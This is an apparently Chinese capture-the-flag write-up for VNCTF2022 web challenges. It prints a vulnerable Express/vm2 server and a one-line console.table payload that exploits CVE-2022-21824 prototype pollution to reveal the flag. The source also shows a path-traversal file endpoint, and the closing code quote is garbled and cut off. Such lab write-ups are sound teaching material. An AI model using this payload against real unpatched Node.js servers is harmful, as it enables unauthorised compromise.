[BUUCTF][VNCTF2022公开赛]web wp

GameV4.0

base64解码即可

newcalc0

镜像为node:lts-alpine，package.json全部为最新包

const express = require("express");
const path = require("path");
const vm2 = require("vm2");

const app = express();
app.use(express.urlencoded({ extended: true }));
app.use(express.json());

app.use(express.static("static"));

const vm = new vm2.NodeVM();

app.use("/eval", (req, res) => {
  const e = req.body.e;
  if (!e) {
    res.send("wrong?");
    return;
  }
  try {
    res.send(vm.run("module.exports="+e)?.toString() ?? "no");
  } catch (e) {
    console.log(e)
    res.send("wrong?");
  }
});

app.use("/flag", (req, res) => {
  if(Object.keys(Object.prototype).length > 0) {
    Object.keys(Object.prototype).forEach(k => delete Object.prototype[k]);
    res.send(process.env.FLAG);
  } else {
    res.send(Object.keys(Object.prototype));
  }
})

app.use("/source", (req, res) => {
  let p = req.query.path || "/src/index.js";
  p = path.join(path.resolve("."), path.resolve(p));
  console.log(p);
  res.sendFile(p);
});

app.use((err, req, res, next) => {
  console.log(err)
  res.redirect("index.html");
});

app.listen(process.env.PORT || 8888);

考察原型链污染，利用CVE-2022-21824

https://nodejs.org/zh-cn/blog/vulnerability/jan-2022-security-releases/

payload

console.table([{a:1}],['__proto__'])

之后再访问/flag即可

console.tableAPI的作用是将数据以表格的形式显示。

在console.table 的代码中：lib/internal/console/constructor.js

// tabularData 是第一个参数 [{x:1}]
// properties 是第二个参数 ["__proto__"]
const map = ObjectCreate(null);
let hasPrimitives = false;
const valuesKeyArray = [];
const indexKeyArray = ObjectKeys(tabularData);

for (; i {.}}